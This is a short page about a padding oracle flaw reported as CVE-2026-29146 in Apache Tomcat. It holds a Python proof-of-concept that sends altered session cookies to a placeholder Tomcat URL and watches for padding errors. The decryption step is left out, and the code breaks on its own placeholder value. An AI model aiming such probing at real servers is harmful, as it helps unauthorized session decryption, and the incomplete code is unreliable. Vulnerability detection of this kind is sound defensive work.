CVE-2026-29146 Apache Tomcat Padding Oracle漏洞

import requests import binascii # Proof of Concept Concept for Padding Oracle # This script demonstrates how to detect a padding oracle vulnerability. TARGET_URL = "http://target-tomcat:8080/encrypted-endpoint" ENCRYPTED_COOKIE = "..." # Replace with actual encrypted cookie/header def check_oracle(ciphertext): headers = {'Cookie': f'JSESSIONID={ciphertext}'} try: response = requests.get(TARGET_URL, headers=headers, timeout=5) # Analyze response: Different status codes or response times indicate an oracle if response.status_code == 500 and "padding" in response.text.lower(): return True # Padding error detected elif response.status_code == 200: return False # Valid padding (or handled error) except Exception as e: print(f"Error: {e}") return None # In a real attack, an attacker would modify the ciphertext byte by byte # and use the check_oracle function to deduce the plaintext. print("Starting Padding Oracle detection...") # Example logic to flip bytes (simplified) block = binascii.unhexlify(ENCRYPTED_COOKIE) print(f"Testing block: {block}") # ... full decryption logic would go here ... print("PoC execution completed.")